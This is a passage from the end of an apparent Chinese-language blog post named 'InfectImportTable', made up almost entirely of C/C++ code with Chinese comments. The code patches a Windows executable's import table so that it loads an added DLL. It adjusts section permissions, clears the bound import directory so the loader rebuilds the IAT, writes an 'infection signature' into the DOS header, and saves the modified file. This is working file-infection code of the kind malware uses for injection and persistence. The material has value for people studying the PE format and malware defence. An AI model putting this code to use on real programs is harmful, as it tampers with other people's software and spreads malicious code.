DWORD NewEntrySize = (DWORD)End - (DWORD)OriginalFirstThunk;

//返过来填充OriginalFirstThunk和FirstThunk
//根据定义,OriginalFirst应指向IMAGE_IMPORT_BY_NAME结构的偏移
OriginalFirstThunk[0] = NewThunkDataVA + ((PBYTE)ImageImportByName - (PBYTE)OriginalFirstThunk);
FirstThunk[0] = OriginalFirstThunk[0];


NewImageImportDescriptor->OriginalFirstThunk = NewThunkDataVA;
NewImageImportDescriptor->Name = NewThunkDataVA + sizeof(ULONG_PTR) * 4;//OriginalFirstThunk + FirstThunk的大小
NewImageImportDescriptor->FirstThunk = NewThunkDataVA + sizeof(ULONG_PTR) * 2;


//更新PE头中的几个值
//新的导入表大小
v1.m_ImportDataTable->Size = NewImportDataSize;
//新的导入表IID的起始偏移
v1.m_ImportDataTable->VirtualAddress = v5;
if (!IsUseNewSection)
{
ImageSectionHeader->Misc.VirtualSize += SizeNeed; //缝隙添加
}

//如果ThunkData放在了原IID的位置,需要设置节为可写的
ImageSectionHeader->Characteristics |= IMAGE_SCN_MEM_WRITE;


//清空绑定输入表,强迫加载器重新加载IAT
v1.m_ImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
v1.m_ImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;

//设置感染标记
v1.m_ImageDosHeader->e_csum = INFECT_SIGNATURE;


//写入文件


//开始保存内存中的修改内容到文件中
//先写入新的PE头
DWORD FileOffset = 0;
ULONG_PTR VAInMemory = 0;
SetFilePointer(FileHandle, 0, NULL, FILE_BEGIN);
IsOk = WriteFile(FileHandle, v1.m_ModuleHandle, v1.m_ImageOptionalHeader->SizeOfHeaders, &NumberOfBytesWritten, NULL);
if (!IsOk)
{

return FALSE;
}



//写入新IID的子结构信息,位置在原导入表的开始处
VAInMemory = NewThunkDataVA;
FileOffset = v1.Rva2Raw(VAInMemory);
SetFilePointer(FileHandle, FileOffset, NULL, FILE_BEGIN);
IsOk = WriteFile(FileHandle, OriginalFirstThunk, NewEntrySize, &NumberOfBytesWritten, NULL);
if (!IsOk)
{

return FALSE;
}

//写入新的IID结构
VAInMemory = (ULONG_PTR)v1.m_ImportDataTable->VirtualAddress;
FileOffset = v1.Rva2Raw(VAInMemory);
SetFilePointer(FileHandle, FileOffset, NULL, FILE_BEGIN);
IsOk = WriteFile(FileHandle, v10, NewImportDataSize, &NumberOfBytesWritten, NULL);
if (!IsOk)
{

return FALSE;
}
return TRUE;
}

InfectImportTable
https://wlpswmt.github.io/2023/02/03/InfectImportTable/
作者
Sivan Zhang
发布于
2023年2月3日
许可协议